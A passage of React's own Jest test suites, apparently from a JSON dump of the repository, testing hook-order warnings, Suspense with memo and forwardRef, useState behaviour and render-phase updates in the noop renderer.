{\n          // Swapping certain types of hooks will cause runtime errors.\n          // This is okay as far as this test is concerned.\n          // We just want to verify that warnings are always logged.\n        }\n        assertConsoleErrorDev([\n          'React has detected a change in the order of Hooks called by App. ' +\n            'This will lead to bugs and errors if not fixed. For more information, ' +\n            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n' +\n            '\\n' +\n            '   Previous render            Next render\\n' +\n            '   ------------------------------------------------------\\n' +\n            `1. ${formatHookNamesToMatchErrorMessage(hookNameA, hookNameA)}\\n` +\n            `2. undefined                  use${hookNameB}\\n` +\n            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n' +\n            '\\n' +\n            '    in App (at **)',\n        ]);\n      });\n    });\n\n    hooksInList.forEach((firstHelper, index) => {\n      const secondHelper =\n        index > 0\n          ? hooksInList[index - 1]\n          : hooksInList[hooksInList.length - 1];\n\n      const hookNameA = firstHelper.name\n        .replace('use', '')\n        .replace('Helper', '');\n      const hookNameB = secondHelper.name\n        .replace('use', '')\n        .replace('Helper', '');\n\n      it(`warns when fewer hooks (${hookNameA}, ${hookNameB}) are used during update than mount`, async () => {\n        function App(props) {\n          if (props.update) {\n            firstHelper();\n          } else {\n            firstHelper();\n            secondHelper();\n          }\n          return null;\n        }\n        let root;\n        await act(() => {\n          root = ReactTestRenderer.create(<App update={false} />, {\n            unstable_isConcurrent: true,\n          });\n        });\n\n        await expect(async () => {\n          await act(() => {\n            root.update(<App update={true} />);\n          });\n        }).rejects.toThrow('Rendered fewer hooks than expected. ');\n      });\n    });\n\n    it(\n      'warns on using differently ordered hooks ' +\n        '(useImperativeHandleHelper, useMemoHelper) on subsequent renders',\n      async () => {\n        function App(props) {\n          if (props.update) {\n            useMemoHelper();\n            useImperativeHandleHelper();\n          } else {\n            useImperativeHandleHelper();\n            useMemoHelper();\n          }\n          // This should not appear in the warning message because it occurs after the first mismatch\n          useRefHelper();\n          return null;\n        }\n        let root;\n        await act(() => {\n          root = ReactTestRenderer.create(<App update={false} />, {\n            unstable_isConcurrent: true,\n          });\n        });\n        await act(() => {\n          root.update(<App update={true} />);\n        }).catch(e => {});\n        // Swapping certain types of hooks will cause runtime errors.\n        // This is okay as far as this test is concerned.\n        // We just want to verify that warnings are always logged.\n        assertConsoleErrorDev([\n          'React has detected a change in the order of Hooks called by App. ' +\n            'This will lead to bugs and errors if not fixed. For more information, ' +\n            'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n' +\n            '\\n' +\n            '   Previous render            Next render\\n' +\n            '   ------------------------------------------------------\\n' +\n            `1. ${formatHookNamesToMatchErrorMessage(\n              'ImperativeHandle',\n              'Memo',\n            )}\\n` +\n            '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n' +\n            '\\n' +\n            '    in App (at **)',\n        ]);\n\n        // further warnings for this component are silenced\n        await act(() => {\n          root.update(<App update={false} />);\n        });\n      },\n    );\n\n    it('detects a bad hook order even if the component throws', async () => {\n      const {useState, useReducer} = React;\n      function useCustomHook() {\n        useState(0);\n      }\n      function App(props) {\n        if (props.update) {\n          useCustomHook();\n          useReducer((s, a) => a, 0);\n          throw new Error('custom error');\n        } else {\n          useReducer((s, a) => a, 0);\n          useCustomHook();\n        }\n        return null;\n      }\n      let root;\n      await act(() => {\n        root = ReactTestRenderer.create(<App update={false} />, {\n          unstable_isConcurrent: true,\n        });\n      });\n      await expect(async () => {\n        await act(() => {\n          root.update(<App update={true} />);\n        });\n      }).rejects.toThrow('custom error');\n      assertConsoleErrorDev([\n        'React has detected a change in the order of Hooks called by App. ' +\n          'This will lead to bugs and errors if not fixed. For more information, ' +\n          'read the Rules of Hooks: https://react.dev/link/rules-of-hooks\\n' +\n          '\\n' +\n          '   Previous render            Next render\\n' +\n          '   ------------------------------------------------------\\n' +\n          '1. useReducer                 useState\\n' +\n          '   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\\n' +\n          '\\n' +\n          '    in App (at **)',\n      ]);\n    });\n  });\n\n  // Regression test for #14674\n  it('does not swallow original error when updating another component in render phase', async () => {\n    const {useState} = React;\n\n    let _setState;\n    function A() {\n      const [, setState] = useState(0);\n      _setState = setState;\n      return null;\n    }\n\n    function B() {\n      _setState(() => {\n        throw new Error('Hello');\n      });\n      return null;\n    }\n\n    await expect(async () => {\n      await act(() => {\n        ReactTestRenderer.create(\n          <>\n            <A />\n            <B />\n          </>,\n          {unstable_isConcurrent: true},\n        );\n      });\n    }).rejects.toThrow('Hello');\n    assertConsoleErrorDev([\n      'Cannot update a component (`A`) while rendering a different component (`B`). ' +\n        'To locate the bad setState() call inside `B`, ' +\n        'follow the stack trace as described in https://react.dev/link/setstate-in-render\\n' +\n        '    in B (at **)',\n    ]);\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/15057\n  it('does not fire a false positive warning when previous effect unmounts the component', async () => {\n    const {useState, useEffect} = React;\n    let globalListener;\n\n    function A() {\n      const [show, setShow] = useState(true);\n      function hideMe() {\n        setShow(false);\n      }\n      return show ? <B hideMe={hideMe} /> : null;\n    }\n\n    function B(props) {\n      return <C {...props} />;\n    }\n\n    function C({hideMe}) {\n      const [, setState] = useState();\n\n      useEffect(() => {\n        let isStale = false;\n\n        globalListener = () => {\n          if (!isStale) {\n            setState('hello');\n          }\n        };\n\n        return () => {\n          isStale = true;\n          hideMe();\n        };\n      });\n      return null;\n    }\n\n    await act(() => {\n      ReactTestRenderer.create(<A />, {unstable_isConcurrent: true});\n    });\n\n    // Note: should *not* warn about updates on unmounted component.\n    // Because there's no way for component to know it got unmounted.\n    await expect(\n      act(() => {\n        globalListener();\n        globalListener();\n      }),\n    ).resolves.not.toThrow();\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/14790\n  it('does not fire a false positive warning when suspending memo', async () => {\n    const {Suspense, useState} = React;\n\n    let isSuspended = true;\n    let resolve;\n    function trySuspend() {\n      if (isSuspended) {\n        throw new Promise(res => {\n          resolve = () => {\n            isSuspended = false;\n            res();\n          };\n        });\n      }\n    }\n\n    function Child() {\n      useState();\n      trySuspend();\n      return 'hello';\n    }\n\n    const Wrapper = React.memo(Child);\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(\n        <Suspense fallback=\"loading\">\n          <Wrapper />\n        </Suspense>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(root).toMatchRenderedOutput('loading');\n    await act(resolve);\n    expect(root).toMatchRenderedOutput('hello');\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/14790\n  it('does not fire a false positive warning when suspending forwardRef', async () => {\n    const {Suspense, useState} = React;\n\n    let isSuspended = true;\n    let resolve;\n    function trySuspend() {\n      if (isSuspended) {\n        throw new Promise(res => {\n          resolve = () => {\n            isSuspended = false;\n            res();\n          };\n        });\n      }\n    }\n\n    function render(props, ref) {\n      useState();\n      trySuspend();\n      return 'hello';\n    }\n\n    const Wrapper = React.forwardRef(render);\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(\n        <Suspense fallback=\"loading\">\n          <Wrapper />\n        </Suspense>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(root).toMatchRenderedOutput('loading');\n    await act(resolve);\n    expect(root).toMatchRenderedOutput('hello');\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/14790\n  it('does not fire a false positive warning when suspending memo(forwardRef)', async () => {\n    const {Suspense, useState} = React;\n\n    let isSuspended = true;\n    let resolve;\n    function trySuspend() {\n      if (isSuspended) {\n        throw new Promise(res => {\n          resolve = () => {\n            isSuspended = false;\n            res();\n          };\n        });\n      }\n    }\n\n    function render(props, ref) {\n      useState();\n      trySuspend();\n      return 'hello';\n    }\n\n    const Wrapper = React.memo(React.forwardRef(render));\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(\n        <Suspense fallback=\"loading\">\n          <Wrapper />\n        </Suspense>,\n        {unstable_isConcurrent: true},\n      );\n    });\n    expect(root).toMatchRenderedOutput('loading');\n    await act(resolve);\n    expect(root).toMatchRenderedOutput('hello');\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/15732\n  it('resets hooks when an error is thrown in the middle of a list of hooks', async () => {\n    const {useEffect, useState} = React;\n\n    class ErrorBoundary extends React.Component {\n      state = {hasError: false};\n\n      static getDerivedStateFromError() {\n        return {hasError: true};\n      }\n\n      render() {\n        return (\n          <Wrapper>\n            {this.state.hasError ? 'Error!' : this.props.children}\n          </Wrapper>\n        );\n      }\n    }\n\n    function Wrapper({children}) {\n      return children;\n    }\n\n    let setShouldThrow;\n    function Thrower() {\n      const [shouldThrow, _setShouldThrow] = useState(false);\n      setShouldThrow = _setShouldThrow;\n\n      if (shouldThrow) {\n        throw new Error('Throw!');\n      }\n\n      useEffect(() => {}, []);\n\n      return 'Throw!';\n    }\n\n    let root;\n    await act(() => {\n      root = ReactTestRenderer.create(\n        <ErrorBoundary>\n          <Thrower />\n        </ErrorBoundary>,\n        {unstable_isConcurrent: true},\n      );\n    });\n\n    expect(root).toMatchRenderedOutput('Throw!');\n    await act(() => setShouldThrow(true));\n    expect(root).toMatchRenderedOutput('Error!');\n  });\n});\n"
  },
  {
    "path": "packages/react-reconciler/src/__tests__/ReactHooksWithNoopRenderer-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n/* eslint-disable no-func-assign */\n\n'use strict';\n\nlet React;\nlet textCache;\nlet readText;\nlet resolveText;\nlet ReactNoop;\nlet Scheduler;\nlet Suspense;\nlet Activity;\nlet useState;\nlet useReducer;\nlet useEffect;\nlet useInsertionEffect;\nlet useLayoutEffect;\nlet useCallback;\nlet useMemo;\nlet useRef;\nlet useImperativeHandle;\nlet useTransition;\nlet useDeferredValue;\nlet forwardRef;\nlet memo;\nlet act;\nlet ContinuousEventPriority;\nlet SuspenseList;\nlet waitForAll;\nlet waitFor;\nlet waitForThrow;\nlet waitForPaint;\nlet assertLog;\nlet assertConsoleErrorDev;\n\ndescribe('ReactHooksWithNoopRenderer', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    jest.useFakeTimers();\n\n    React = require('react');\n    ReactNoop = require('react-noop-renderer');\n    Scheduler = require('scheduler');\n    act = require('internal-test-utils').act;\n    assertConsoleErrorDev =\n      require('internal-test-utils').assertConsoleErrorDev;\n    useState = React.useState;\n    useReducer = React.useReducer;\n    useEffect = React.useEffect;\n    useInsertionEffect = React.useInsertionEffect;\n    useLayoutEffect = React.useLayoutEffect;\n    useCallback = React.useCallback;\n    useMemo = React.useMemo;\n    useRef = React.useRef;\n    useImperativeHandle = React.useImperativeHandle;\n    forwardRef = React.forwardRef;\n    memo = React.memo;\n    useTransition = React.useTransition;\n    useDeferredValue = React.useDeferredValue;\n    Suspense = React.Suspense;\n    Activity = React.Activity;\n    ContinuousEventPriority =\n      require('react-reconciler/constants').ContinuousEventPriority;\n    if (gate(flags => flags.enableSuspenseList)) {\n      SuspenseList = React.unstable_SuspenseList;\n    }\n\n    const InternalTestUtils = require('internal-test-utils');\n    waitForAll = InternalTestUtils.waitForAll;\n    waitFor = InternalTestUtils.waitFor;\n    waitForThrow = InternalTestUtils.waitForThrow;\n    waitForPaint = InternalTestUtils.waitForPaint;\n    assertLog = InternalTestUtils.assertLog;\n\n    textCache = new Map();\n\n    readText = text => {\n      const record = textCache.get(text);\n      if (record !== undefined) {\n        switch (record.status) {\n          case 'pending':\n            throw record.promise;\n          case 'rejected':\n            throw Error('Failed to load: ' + text);\n          case 'resolved':\n            return text;\n        }\n      } else {\n        let ping;\n        const promise = new Promise(resolve => (ping = resolve));\n        const newRecord = {\n          status: 'pending',\n          ping: ping,\n          promise,\n        };\n        textCache.set(text, newRecord);\n        throw promise;\n      }\n    };\n\n    resolveText = text => {\n      const record = textCache.get(text);\n      if (record !== undefined) {\n        if (record.status === 'pending') {\n          Scheduler.log(`Promise resolved [${text}]`);\n          record.ping();\n          record.ping = null;\n          record.status = 'resolved';\n          clearTimeout(record.promise._timer);\n          record.promise = null;\n        }\n      } else {\n        const newRecord = {\n          ping: null,\n          status: 'resolved',\n          promise: null,\n        };\n        textCache.set(text, newRecord);\n      }\n    };\n  });\n\n  function Text(props) {\n    Scheduler.log(props.text);\n    return <span prop={props.text} />;\n  }\n\n  function AsyncText(props) {\n    const text = props.text;\n    try {\n      readText(text);\n      Scheduler.log(text);\n      return <span prop={text} />;\n    } catch (promise) {\n      if (typeof promise.then === 'function') {\n        Scheduler.log(`Suspend! [${text}]`);\n        if (typeof props.ms === 'number' && promise._timer === undefined) {\n          promise._timer = setTimeout(() => {\n            resolveText(text);\n          }, props.ms);\n        }\n      } else {\n        Scheduler.log(`Error! [${text}]`);\n      }\n      throw promise;\n    }\n  }\n\n  function advanceTimers(ms) {\n    // Note: This advances Jest's virtual time but not React's. Use\n    // ReactNoop.expire for that.\n    if (typeof ms !== 'number') {\n      throw new Error('Must specify ms');\n    }\n    jest.advanceTimersByTime(ms);\n    // Wait until the end of the current tick\n    // We cannot use a timer since we're faking them\n    return Promise.resolve().then(() => {});\n  }\n\n  it('resumes after an interruption', async () => {\n    function Counter(props, ref) {\n      const [count, updateCount] = useState(0);\n      useImperativeHandle(ref, () => ({updateCount}));\n      return <Text text={props.label + ': ' + count} />;\n    }\n    Counter = forwardRef(Counter);\n\n    // Initial mount\n    const counter = React.createRef(null);\n    ReactNoop.render(<Counter label=\"Count\" ref={counter} />);\n    await waitForAll(['Count: 0']);\n    expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n    // Schedule some updates\n    await act(async () => {\n      React.startTransition(() => {\n        counter.current.updateCount(1);\n        counter.current.updateCount(count => count + 10);\n      });\n\n      // Partially flush without committing\n      await waitFor(['Count: 11']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      // Interrupt with a high priority update\n      ReactNoop.flushSync(() => {\n        ReactNoop.render(<Counter label=\"Total\" />);\n      });\n      assertLog(['Total: 0']);\n\n      // Resume rendering\n      await waitForAll(['Total: 11']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Total: 11\" />);\n    });\n  });\n\n  it('throws inside class components', async () => {\n    class BadCounter extends React.Component {\n      render() {\n        const [count] = useState(0);\n        return <Text text={this.props.label + ': ' + count} />;\n      }\n    }\n    ReactNoop.render(<BadCounter />);\n\n    await waitForThrow(\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    );\n\n    // Confirm that a subsequent hook works properly.\n    function GoodCounter(props, ref) {\n      const [count] = useState(props.initialCount);\n      return <Text text={count} />;\n    }\n    ReactNoop.render(<GoodCounter initialCount={10} />);\n    await waitForAll([10]);\n  });\n\n  it('throws when called outside the render phase', async () => {\n    expect(() => useState(0)).toThrow(\n      \"Cannot read property 'useState' of null\",\n    );\n    assertConsoleErrorDev([\n      'Invalid hook call. Hooks can only be called inside of the body of a function component. This could happen for' +\n        ' one of the following reasons:\\n' +\n        '1. You might have mismatching versions of React and the renderer (such as React DOM)\\n' +\n        '2. You might be breaking the Rules of Hooks\\n' +\n        '3. You might have more than one copy of React in the same app\\n' +\n        'See https://react.dev/link/invalid-hook-call for tips about how to debug and fix this problem.',\n    ]);\n  });\n\n  describe('useState', () => {\n    it('simple mount and update', async () => {\n      function Counter(props, ref) {\n        const [count, updateCount] = useState(0);\n        useImperativeHandle(ref, () => ({updateCount}));\n        return <Text text={'Count: ' + count} />;\n      }\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      await act(() => counter.current.updateCount(1));\n      assertLog(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n\n      await act(() => counter.current.updateCount(count => count + 10));\n      assertLog(['Count: 11']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 11\" />);\n    });\n\n    it('lazy state initializer', async () => {\n      function Counter(props, ref) {\n        const [count, updateCount] = useState(() => {\n          Scheduler.log('getInitialState');\n          return props.initialState;\n        });\n        useImperativeHandle(ref, () => ({updateCount}));\n        return <Text text={'Count: ' + count} />;\n      }\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter initialState={42} ref={counter} />);\n      await waitForAll(['getInitialState', 'Count: 42']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 42\" />);\n\n      await act(() => counter.current.updateCount(7));\n      assertLog(['Count: 7']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 7\" />);\n    });\n\n    it('multiple states', async () => {\n      function Counter(props, ref) {\n        const [count, updateCount] = useState(0);\n        const [label, updateLabel] = useState('Count');\n        useImperativeHandle(ref, () => ({updateCount, updateLabel}));\n        return <Text text={label + ': ' + count} />;\n      }\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      await act(() => counter.current.updateCount(7));\n      assertLog(['Count: 7']);\n\n      await act(() => counter.current.updateLabel('Total'));\n      assertLog(['Total: 7']);\n    });\n\n    it('returns the same updater function every time', async () => {\n      let updater = null;\n      function Counter() {\n        const [count, updateCount] = useState(0);\n        updater = updateCount;\n        return <Text text={'Count: ' + count} />;\n      }\n      ReactNoop.render(<Counter />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      const firstUpdater = updater;\n\n      await act(() => firstUpdater(1));\n      assertLog(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n\n      const secondUpdater = updater;\n\n      await act(() => firstUpdater(count => count + 10));\n      assertLog(['Count: 11']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 11\" />);\n\n      expect(firstUpdater).toBe(secondUpdater);\n    });\n\n    it('does not warn on set after unmount', async () => {\n      let _updateCount;\n      function Counter(props, ref) {\n        const [, updateCount] = useState(0);\n        _updateCount = updateCount;\n        return null;\n      }\n\n      ReactNoop.render(<Counter />);\n      await waitForAll([]);\n      ReactNoop.render(null);\n      await waitForAll([]);\n      await act(() => _updateCount(1));\n    });\n\n    it('works with memo', async () => {\n      let _updateCount;\n      function Counter(props) {\n        const [count, updateCount] = useState(0);\n        _updateCount = updateCount;\n        return <Text text={'Count: ' + count} />;\n      }\n      Counter = memo(Counter);\n\n      ReactNoop.render(<Counter />);\n      await waitForAll(['Count: 0']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      ReactNoop.render(<Counter />);\n      await waitForAll([]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 0\" />);\n\n      await act(() => _updateCount(1));\n      assertLog(['Count: 1']);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop=\"Count: 1\" />);\n    });\n  });\n\n  describe('updates during the render phase', () => {\n    it('restarts the render function and applies the new updates on top', async () => {\n      function ScrollView({row: newRow}) {\n        const [isScrollingDown, setIsScrollingDown] = useState(false);\n        const [row, setRow] = useState(null);\n\n        if (row !== newRow) {\n          // Row changed since last render. Update isScrollingDown.\n          setIsScrollingDown(row !== null && newRow > row);\n          setRow(newRow);\n        }\n\n        return <Text text={`Scrolling down: ${isScrollingDown}`} />;\n      }\n\n      ReactNoop.render(<ScrollView row={1} />);\n      await waitForAll(['Scrolling down: false']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Scrolling down: false\" />,\n      );\n\n      ReactNoop.render(<ScrollView row={5} />);\n      await waitForAll(['Scrolling down: true']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Scrolling down: true\" />,\n      );\n\n      ReactNoop.render(<ScrollView row={5} />);\n      await waitForAll(['Scrolling down: true']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Scrolling down: true\" />,\n      );\n\n      ReactNoop.render(<ScrollView row={10} />);\n      await waitForAll(['Scrolling down: true']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Scrolling down: true\" />,\n      );\n\n      ReactNoop.render(<ScrollView row={2} />);\n      await waitForAll(['Scrolling down: false']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Scrolling down: false\" />,\n      );\n\n      ReactNoop.render(<ScrollView row={2} />);\n      await waitForAll(['Scrolling down: false']);\n      expect(ReactNoop).toMatchRenderedOutput(\n        <span prop=\"Scrolling down: false\" />,\n      );\n    });\n\n    it('warns about render phase update on a different component', async () => {\n      let setStep;\n      function Foo() {\n        const [step, _setStep] = useState(0);\n        setStep = _setStep;\n        return <Text text={`Foo [${step}]`} />;\n      }\n\n      function Bar({triggerUpdate}) {\n        if (triggerUpdate) {\n          setStep(x => x + 1);\n        }\n        return <Text text=\"Bar\" />;\n      }\n\n      const root = ReactNoop.createRoot();\n\n      await act(() => {\n        root.render(\n          <>\n            <Foo />\n            <Bar />\n          </>,\n        );\n      });\n      assertLog(['Foo [0]', 'Bar']);\n\n      // Bar will update Foo during its render phase. React should warn.\n      root.render(\n        <>\n          <Foo />\n          <Bar triggerUpdate={true} />\n        </>,\n      );\n      await waitForAll(['Foo [0]', 'Bar', 'Foo [1]']);\n      assertConsoleErrorDev([\n        'Cannot update a component (`Foo`) while rendering a different component (`Bar`). ' +\n          'To locate the bad setState() call inside `Bar`, ' +\n          'follow the stack trace as described in https://react.dev/link/setstate-in-render\\n' +\n          '    in Bar (at **)',\n      ]);\n\n      // It should not warn again (deduplication).\n      await act(async () => {\n        root.render(\n          <>\n            <Foo />\n            <Bar triggerUpdate={true} />\n          </>,\n        );\n        await waitForAll(['Foo [1]', 'Bar', 'Foo [2]']);\n      });\n    });\n\n    it('keeps restarting until there are no more new updates', async () => {\n      function Counter({row: newRow}) {\n        const [count, setCount] = useState(0);\n        if (count < 3) {\n          setCount(count + 1);\n        }\n        Scheduler.log('Render: ' + count);\n        return <Text text={count} />;\n      }\n\n      ReactNoop.render(<Counter />);\n      await waitForAll(['Render: 0', 'Render: 1', 'Render: 2', 'Render: 3', 3]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop={3} />);\n    });\n\n    it('updates multiple times within same render function', async () => {\n      function Counter({row: newRow}) {\n        const [count, setCount] = useState(0);\n        if (count < 12) {\n          setCount(c => c + 1);\n          setCount(c => c + 1);\n          setCount(c => c + 1);\n        }\n        Scheduler.log('Render: ' + count);\n        return <Text text={count} />;\n      }\n\n      ReactNoop.render(<Counter />);\n      await waitForAll([\n        // Should increase by three each time\n        'Render: 0',\n        'Render: 3',\n        'Render: 6',\n        'Render: 9',\n        'Render: 12',\n        12,\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop={12} />);\n    });\n\n    it('throws after too many iterations', async () => {\n      function Counter({row: newRow}) {\n        const [count, setCount] = useState(0);\n        setCount(count + 1);\n        Scheduler.log('Render: ' + count);\n        return <Text text={count} />;\n      }\n      ReactNoop.render(<Counter />);\n      await waitForThrow(\n        'Too many re-renders. React limits the number of renders to prevent ' +\n          'an infinite loop.',\n      );\n    });\n\n    it('works with useReducer', async () => {\n      function reducer(state, action) {\n        return action === 'increment' ? state + 1 : state;\n      }\n      function Counter({row: newRow}) {\n        const [count, dispatch] = useReducer(reducer, 0);\n        if (count < 3) {\n          dispatch('increment');\n        }\n        Scheduler.log('Render: ' + count);\n        return <Text text={count} />;\n      }\n\n      ReactNoop.render(<Counter />);\n      await waitForAll(['Render: 0', 'Render: 1', 'Render: 2', 'Render: 3', 3]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop={3} />);\n    });\n\n    it('uses reducer passed at time of render, not time of dispatch', async () => {\n      // This test is a bit contrived but it demonstrates a subtle edge case.\n\n      // Reducer A increments by 1. Reducer B increments by 10.\n      function reducerA(state, action) {\n        switch (action) {\n          case 'increment':\n            return state + 1;\n          case 'reset':\n            return 0;\n        }\n      }\n      function reducerB(state, action) {\n        switch (action) {\n          case 'increment':\n            return state + 10;\n          case 'reset':\n            return 0;\n        }\n      }\n\n      function Counter({row: newRow}, ref) {\n        const [reducer, setReducer] = useState(() => reducerA);\n        const [count, dispatch] = useReducer(reducer, 0);\n        useImperativeHandle(ref, () => ({dispatch}));\n        if (count < 20) {\n          dispatch('increment');\n          // Swap reducers each time we increment\n          if (reducer === reducerA) {\n            setReducer(() => reducerB);\n          } else {\n            setReducer(() => reducerA);\n          }\n        }\n        Scheduler.log('Render: ' + count);\n        return <Text text={count} />;\n      }\n      Counter = forwardRef(Counter);\n      const counter = React.createRef(null);\n      ReactNoop.render(<Counter ref={counter} />);\n      await waitForAll([\n        // The count should increase by alternating amounts of 10 and 1\n        // until we reach 21.\n        'Render: 0',\n        'Render: 10',\n        'Render: 11',\n        'Render: 21',\n        21,\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop={21} />);\n\n      // Test that it works on update, too. This time the log is a bit different\n      // because we started with reducerB instead of reducerA.\n      await act(() => {\n        counter.current.dispatch('reset');\n      });\n      ReactNoop.render(<Counter ref={counter} />);\n      assertLog([\n        'Render: 0',\n        'Render: 1',\n        'Render: 11',\n        'Render: 12',\n        'Render: 22',\n        22,\n      ]);\n      expect(ReactNoop).toMatchRenderedOutput(<span prop={22} />);\n    });\n\n    it('discards render phase updates if something suspends', async () => {\n      const thenable = {then() {}};\n      function Foo({signal}) {\n        return (\n          <Suspense fallback=\"Loading...\">\n            <Bar signal={signal} />\n          </Suspense>\n        );\n      }\n\n      function Bar({signal: newSignal}) {\n        const [counter, setCounter] = useState(0);\n        const [signal, setSignal] = useState(true);\n\n        // Increment a counter every time the signal changes\n        if (signal !== newSignal) {\n          setCounter(c => c + 1);\n          setSignal(newSignal);\n          if (counter === 0) {\n            // We're suspending during a render that includes render phase\n            // updates. Those updates should not persist to the next render.\n            Scheduler.log('Suspend!');\n            throw thenable;\n          }\n        }\n\n        return <Text text={counter} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<Foo signal={true} />);\n\n      await waitForAll([0]);\n      expect(root).toMatchRenderedOutput(<span prop={0} />);\n\n      React.startTransition(() => {\n        root.render(<Foo signal={false} />);\n      });\n      await waitForAll(['Suspend!']);\n      expect(root).toMatchRenderedOutput(<span prop={0} />);\n\n      // Rendering again should suspend again.\n      React.startTransition(() => {\n        root.render(<Foo signal={false} />);\n      });\n      await waitForAll(['Suspend!']);\n    });\n\n    it('discards render phase updates if something suspends, but not other updates in the same component', async () => {\n      const thenable = {then() {}};\n      function Foo({signal}) {\n        return (\n          <Suspense fallback=\"Loading...\">\n            <Bar signal={signal} />\n          </Suspense>\n        );\n      }\n\n      let setLabel;\n      function Bar({signal: newSignal}) {\n        const [counter, setCounter] = useState(0);\n\n        if (counter === 1) {\n          // We're suspending during a render that includes render phase\n          // updates. Those updates should not persist to the next render.\n          Scheduler.log('Suspend!');\n          throw thenable;\n        }\n\n        const [signal, setSignal] = useState(true);\n\n        // Increment a counter every time the signal changes\n        if (signal !== newSignal) {\n          setCounter(c => c + 1);\n          setSignal(newSignal);\n        }\n\n        const [label, _setLabel] = useState('A');\n        setLabel = _setLabel;\n\n        return <Text text={`${label}:${counter}`} />;\n      }\n\n      const root = ReactNoop.createRoot();\n      root.render(<Foo signal={true} />);\n\n      await waitForAll(['A:0']);\n      expect(root).toMatchRenderedOutput(<span prop=\"A:0\" />);\n\n      await act(async () => {\n        React.startTransition(() => {\n          root.render(<Foo signal={false} />);\n          setLabel('B');\n        });\n\n        await waitForAll(['Suspend!']);\n        expect(root).toMatchRenderedOutput(<span prop=\"A:0\" />);\n\n        // Rendering again should suspend again.\n        React.startTransition(() => {\n          root.render(<Foo signal={false} />);\n        });\n        await waitForAll(['Suspend!']);\n\n        // Flip the signal back to \"cancel\" the update. However, the update to\n        // label should still proceed. It shouldn't have been dropped.\n        React.startTransition(() => {\n          root.render(<Foo signal={true} />);\n        });\n        await waitForAll(['B:0']);\n        expect(root).toMatchRenderedOutput(<span prop=\"B:0\" />);\n      });\n    });\n\n    it('regression: render phase updates cause lower pri work to be dropped', async () => {\n      let setRow;\n      function ScrollView() {\n        const [row, _setRow] = useState(10);\n        setRow = _setRow;\n\n        const [scrollDirection, setScrollDirection] = useState('Up');\n        const [prevRow, setPrevRow] = useState(null);\n\n        if (prevRow !== row) {\n          setScrollDirection(prevRow !== null && row > prevRow ? 'Down' : 'Up');\n          setPrevRow(row);\n        }\n\n        return <Text text={scrollDirection} />;\n      }\n\n      const root = ReactNoop.createRoot();\n\n      await act(() => {\n        root.render(<ScrollView row={10} />);\n      });\n      assertLog(['Up']);\n      expect(root).toMatchRenderedOutput(<span prop=\"Up\" />);\n\n      await act(() => {\n        ReactNoop.discreteUpdates(() => {\n          setRow(5);\n        });\n        React.startTransition(() => {\n          setRow(20);\n        });\n      });\n      assertLog(['Up', 'Down']);\n      expect(root).toMatchRenderedOutput(<span prop=\"Down\" />);\n    });\n\n    // TODO: This should probably warn\n    it('calling startTransition inside render phase', async () => {\n      function App() {\n        const [counter, 